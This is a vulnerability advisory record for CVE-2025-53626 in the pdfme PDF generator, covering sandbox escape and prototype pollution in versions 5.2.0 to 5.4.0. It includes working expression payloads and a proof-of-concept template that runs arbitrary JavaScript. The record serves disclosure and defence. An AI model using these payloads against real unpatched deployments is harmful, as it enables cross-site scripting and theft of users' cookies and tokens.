{"id":"CVE-2025-53626","aliases":["CVE-2025-53626","GHSA-54xv-94qv-2gfg"],"related":[],"kind":"vulnerability","state":"published","title":"pdfme has Sandbox Escape and Prototype Pollution vulnerabilities in pdfme expression evaluation","summary":"pdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"pdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.","source":"cvelist"},{"lang":"en","text":"## Summary\nThe expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.\n\n## Details\n\n### 1. Sandbox Escape Leading to XSS\n\nThe expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:\n\n```javascript\n// Attack vector 1: Using Object.getOwnPropertyDescriptor\n{ ((f, g) => f(g(Object), \"constructor\").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)(\"alert(location)\")() }\n\n// Attack vector 2: Using object property access\n{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), \"constructor\").value(\"alert(location)\")() }\n```\n\nBoth payloads bypass the sandbox restrictions and execute `Function(\"alert(location)\")()`.\n\n### 2. Prototype Pollution\n\nThe expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:\n- `__lookupGetter__`\n- `__lookupSetter__`\n- `__defineGetter__`\n- `__defineSetter__`\n\n## Impact\n\nThese vulnerabilities allow attackers to:\n- Execute arbitrary JavaScript code in the context of the application\n- Steal sensitive information including cookies and tokens\n- Modify application behavior through prototype pollution\n- Potentially perform actions on behalf of users\n\n## Proof of Concept\n\nLoading the following template in pdfme triggers `alert(location)`:\n\n```json\n{\n  \"schemas\": [[{\n    \"name\": \"field1\",\n    \"type\": \"text\",\n    \"content\": \"{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }\",\n    \"position\": { \"x\": 0, \"y\": 0 },\n    \"width\": 100,\n    \"height\": 100\n  }]],\n  \"basePdf\": { \"width\": 100, \"height\": 100 },\n  \"pdfmeVersion\": \"5.4.0\"\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"pdfme es un generador de PDF basado en TypeScript y una interfaz de usuario basada en React. La función de evaluación de expresiones de pdfme 5.2.0 a 5.4.0 contiene vulnerabilidades críticas que permiten escapar de la zona protegida, lo que provoca ataques XSS y de contaminación de prototipos. Esta vulnerabilidad se corrige en la versión 5.4.1.","source":"nvd"}],"published":"2025-07-10T17:43:52.000Z","modified":"2026-09-10T03:50:25.739Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79","CWE-94","CWE-1321"],"affected":[{"ranges":[{"version":">= 5.2.0, < 5.4.1","status":"affected"}],"vendor":"pdfme","product":"pdfme","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"5.2.0","status":"affected","fixed":"5.4.1"}],"ecosystem":"npm","package":"@pdfme/common","purl":"pkg:npm/%40pdfme/common","source":"ghsa"}],"references":[{"url":"https://github.com/pdfme/pdfme/security/advisories/GHSA-54xv-94qv-2gfg","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/pdfme/pdfme/commit/0dd54739acff2c249ed68c001a896bee38f0fd85","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53626","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/pdfme/pdfme/pull/1117","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/pdfme/pdfme","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pdfme/pdfme/releases/tag/5.4.1","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-07-10T19:08:36.795Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-53626","url":"https://www.cve.org/CVERecord?id=CVE-2025-53626","licence":"CVE Terms of Use","modified":"2025-07-10T19:08:40.237Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-54xv-94qv-2gfg","url":"https://github.com/advisories/GHSA-54xv-94qv-2gfg","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:25.739Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-53626","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53626","licence":"Public domain","modified":"2026-06-17T09:38:35.840Z"}],"updatedAt":"2026-11-25T22:59:01.111Z","epss":{"score":0.00329,"percentile":0.28126,"date":"2026-12-01T12:00:22.000Z"}}